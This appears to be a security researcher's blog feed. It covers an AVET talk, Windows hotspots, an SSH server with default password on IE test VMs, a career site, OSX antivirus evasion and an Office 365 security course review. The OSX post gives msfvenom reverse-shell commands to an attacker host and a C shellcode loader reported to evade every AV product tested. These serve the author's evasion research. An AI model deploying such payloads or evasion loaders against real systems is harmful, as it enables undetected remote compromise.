This time I prepared some slides, download here:
BHUSA19_Arsenal_AVET
Slides – Introduction to AVET
Florian and I were at the root.cologne meet-up for giving an introduction to AVET:
Slides: avet introduction – root cologne
Interesting talks afterwards, nice location and pizza!
Now looking forward to black hat :).
Wifi Hotspot with Windows 7
More a short note to myself… but might also be interesting for other folks.
You can make a Wifi Hotspot with Windows 7 with som cmd foo, but also with the programm Virtual Router Manager, which is easier:
Download:
https://softfamous.com/virtual-router-manager/
https://www.pcwelt.de/downloads/Virtual-Router-Manager-583195.html
Or search on google…
Windows 7 IE Developer SSH Server
Recently I played with one of the Windows 7 32Bit IE Developer VMs (IE11.Win7.VirtualBox.zip) from here. I can remember two exploitation classes where these machines are being used.
I found an SSH server installed within the machine, it is not hidden or something, but on the other side no one I asked was aware about it.
As you can see the server is running on port 22:
The SSH server itself is running with its own user:
The SSH service is not blocked by local firewall rules:
Short reminder, the password is “Passw0rd!”. So better use these machines in NAT mode, change the password, adjust firewall etc..
Happy Hacking.
A new project: welearnsecurity.com
Here is my new project:
I love to write for career starters and also working with them. Since the content is too different from this blog I decided to split the content.
The blog will go from personal career experience to idealized career paths, hopefully articles or interviews from/with other successful security experts, recommendations for books and courses and so on.
Hopefully this project will become a valuable source for everyone looking into a career in infosec and motivated learners.
Antivirus Evasion on OSX
A few months ago I did some research on antivirus (evasion) on OSX and now I decided to write a blog post about it.
Scope
* build executables that are not recognized by Antivirus Mac OSX
* for building Mac OSX executables you need Mac OSX
* shellcode/payload with MSF
* developed with C & some assembly
* main focus is learning and automatiziation
Why?
Some high profile targets use OSX… so AV might be a thing.
Dmitry Medvedev:
http://obamapacman.com/2009/08/russia-president-dmitry-medvedev-mac-user-kremlin/
As do some security researchers 😉
Charlie Miller:
Targeted Malware
… or like APT 28:
Test Cases and PoCs
* eicar
* msfvenom -p osx/x64/shell_reverse_tcp EXITFUNC=process LHOST=192.168.2.111 LPORT=443 -a x64 –platform OSX -e x64/xor -f macho -o osx64_reverse_xor.out
* msfvenom -p osx/x64/shell_reverse_tcp EXITFUNC=process LHOST=192.168.2.111 LPORT=443 -a x64 –platform OSX -f macho -o osx64_reverse.out
* msfvenom -p osx/x86/shell_reverse_tcp EXITFUNC=process LHOST=192.168.2.111 LPORT=443 –platform OSX -f macho -o osx86_reverse.out
* gcc -o osx64_sc_binder.out osx64_sc_binder.c
osx64_sc_binder.c
#include <string.h>
#include <sys/mman.h>
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xf2\xff\xff\xff\x48\x8d\x05\xef\xff"
...
"\x15";
int main(int argc, char **argv)
{
void *ptr = mmap(0, 0x1000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
memcpy(ptr,buf,sizeof buf);
void (*fp)() = (void (*)())ptr;
fp();
}
And then some testing….
Comodo
… found nothing, only eicar.
Sophos
Recognized as malicious:
msfvenom -p osx/x64/shell_reverse_tcp EXITFUNC=process LHOST=192.168.2.111 LPORT=443 -a x64 –platform OSX -e x64/xor -f macho -o a.out
Not recognized: osx64_sc_binder.c
Avast
Recognized as malicious:
msfvenom -p osx/x64/shell_reverse_tcp EXITFUNC=process LHOST=192.168.2.111 LPORT=443 -a x64 –platform OSX -e x64/xor -f macho -o a.out
Not recognized: osx64_sc_binder.c
Avira
Not recognized:
msfvenom -p osx/x64/shell_reverse_tcp EXITFUNC=process LHOST=192.168.2.111 LPORT=443 -a x64 –platform OSX -e x64/xor -f macho -o a.out
… no further testing.
Finally
As can be seen, not much efford is needed for evading AV software on MacOSX, The shellcode binder was enough for evading all tested platforms.
The binder: https://github.com/govolution/avepoc/blob/master/osx64_sc_binder.c
Nevertheless I made a small PoC version of AVET (based on the old version 1.3) for OSX (https://github.com/govolution/avetosx):
Maybe I will try to integrate it in AVET 2 some time.
Review EDX Course Security in Office 365 (Microsoft CLD245x)
Recently I took the course Security in Office 365 using the free Audit Access, the final exam and the Certificate are missing here.
The sections of the course are:
-
Threats and data breaches targeting your data
-
Office 365 Advanced Threat Protection
-
Office 365 Threat Intelligence
-
Auditing, alerting and reporting in Office 365
-
Advanced Security Management in Office 365
After each section there is a quiz, as well as an final exam with 20 questions (missing in the free version). I’ll go through each section adding some notes.
Introduction to Security in Office 365
Threats and data breaches targeting your data
-
how threat actors gain access
-
kill chain
-
how the work and threat landscape changed
-
on-premises environment vs “gray area” (cloud etc.) in terms of controll and security
-
phishing
-
malware
-
spoofing
-
escalation of privilege
-
data exfiltration
-
data deletion including ransom ware
-
data spillage (“Data spillage occurs when protected data is transferred to a system that doesn’t provide the same level of protection as the source.”)
-
as well as password cracking
-
malicious insiders
Security solutions in Office 365
-
Exchange Online Protection (EOP)
-
Office 365 Advanced Threat Protection (Office 365 ATP)
-
Office 365 Threat Intelligence
-
Auditing and alerts
-
Advanced Security Management (ASM)
-
EOP (not End Of Protection 😉 but Exchange Online Protection)
-
Office 365 Threat Intelligence
-
Threat Dashboard
-
Auditing and alerts
-
Advanced Security Management (AMS)
-
Threat detection
-
Enhanced control
-
Discovery and insights
Introduction to Secure Score
-
Overview of Office 365 Secure Score
-
security related measurements
-
Office 365 Secure Score API
-
API & powershell
-
downstream data for other tools and SIEM etc.
-
The Secure Score dashboard
-
The Secure Score analyzer tab
- Increasing your security posture
- I liked some of the points:
-
Enabling multi-factor authentication on all admin accounts
-
Designating more than one global admin
-
Enabling auditing across workloads
-
Enabling mailbox auditing
-
Having a weekly review of sign-ins after multiple failures
-
Having a weekly review of sign-ins from unknown sources
-
Having a weekly review of sign-ins from multiple geographies
-
Implementing and Managing Office 365 ATP
Introduction to Exchange Online Protection
-
The anti-malware pipeline in Office 365
-
Zero-hour auto purge
-
ZAP, detect spam or malware that was undetected by heuristics and delivery patterns
-
Phishing and spoofing protection
-
SFP, DKIM, DMARC
-
Spoof Intelligence
-
Give overview of spoofing attempts, allow spoofing for certain senders for certain addresses
-
Managing spoof intelligence
Overview of Office 365 Advanced Threat Protection
-
How ATP expands protection provided by EOP
-
Safe attachments
-
sandbox/detonation chamber 😀
-
Safe attachment policy options
-
Safe links
-
URL detonation -> mix of safe links and sage attachements
-
Safe links policy options
Managing Safe Attachments
-
Creating safe attachment policies in the Security and Compliance Center
-
Creating safe attachments policies using Windows PowerShell
-
Modifying an existing safe attachments policy in the Security and Compliance Center
-
Creating a transport rule to bypass safe attachments
-
Safe attachments end user experience
Managing Safe Links
- Creating safe links policies by using the Security and Compliance Center
- Creating safe links policies using Windows PowerShell
- Modifying an existing safe links policy
- Create a transport rule to bypass safe links
- Safe links user experience in email
- Safe links user experience in Office 2016
Monitoring and reports
- Threat protection status report
- ATP message disposition report
- ATP file types report
- Malware detections report
- Top Malware report
- Top Senders and Recipients report
- Spoof Mail report
- Spam Detections report
- Sent and received email report
- Security & Compliance Report Demonstration
Using Office 365 Threat Intelligence
Office 365 Threat Intelligence
“Threat intelligence is evidence-based knowledge, including context, mechanisms, indicators, implications and actionable advice, about an existing or emerging menace or hazard to assets that can be used to inform decisions regarding the subject’s response to that menace or hazard.”
- Microsoft Intelligent Security Graph
- Source: Windows, Office 365, Cloud Services, 3rd party
- Threat dashboard
- reporting tool for C-level
- Threat explorer
- analysts, admins
Using the Threat Detection dashboard
- Threat detections in your tenant
- Security and malware trends
- Alerts
- More insights
- Threat Intelligence Demonstration
Using Threat Explorer
- Viewing options in Threat explorer
- Filtering capabilities in Threat Explorer
- Drilling for details
- Incident reports
Implementing auditing, insights, and alerts
Overview of auditing in the Security & Compliance Center
- Auditing architecture in Office 365
- Audited activities
- Office 365 Management Activity API
Enabling mailbox auditing in Exchange Online
- Mailbox actions logged by mailbox audit logging
- Enabling mailbox auditing
- Specifying owner actions to audit
- Changing the age limit for entries in the mailbox audit log
Searching the audit log
- Enabling auditing in your tenant
- Granting permissions
- Searching the audit log
- Viewing the search results
- Filtering the search results
- Exporting the search results to a file
- Searching the audit log by using Windows PowerShell
- Using a SIEM application to access your auditing data
Enabling sharing auditing for SharePoint and OneDrive
- The SharePoint sharing schema
- The SharePoint Sharing model and sharing events
- How to identify resources shared with external users
Managing insights and alerts in the Security & Compliance Center
- Introduction to insights and alerts
- Types of insights that are available
- Types of alerts that are generated
- Alerts features in the Security & Compliance Center
- Alert policy settings
- Default alert policies
- Viewing alerts
- Managing alerts
Advanced Security Management
Overview of Advanced Security Management
- Lesson introduction
- Anomaly detection policies
- Login authentication failures
- Administrator activity
- Inactive accounts
- Location
- Impossible travel
- Device and user agent
- Activity policies
- Anomaly detection and activity alerts
- Policy templates
- Productivity app discovery
- App permissions
Implementing policies and alerts
- Enabling and accessing Advanced Security Management
- Creating anomaly detection policies
- Creating activity policies
- Reviewing and taking action on alerts
- Investigating activities in the Activity log
- Grouping IP addresses to simplify management
Implementing app discovery
- Log file requirements
- Supported vendors and their data attributes
- Creating app discovery reports
- Reviewing app discovery findings
- Troubleshooting errors when log files are uploaded
Implementing app permissions
- App permissions architecture
- Managing app permissions
- Approving or banning an app
Conclusion
Unfortunately I do not have access to an Office 365 environment for testing. So I was thankful that the course gives a broad insight of the posibilites of the security configurations of Office 365. Lots of the topics come withshort examples (like phishing, spoofing etc.) and a short video clip.
From my side more insight on the security mechanisms and more detail on Threat Intelligence would have been great. The course goes into logging and how to find strange behaviour, malware and threat intelligence. Which was really nice to see how much effort Microsoft put into securing their cloud products.
A lot of the questions in the module assessements questions are more about configuration the platform itself or how tabs are named, I felt a bit like in a MS exam long time ago. Large parts of the content is text and not videos, most courses are a bit different here.
The course gave a good overview and insights for understanding Security in Office 365 for me, that’s what I was looking for.
Links
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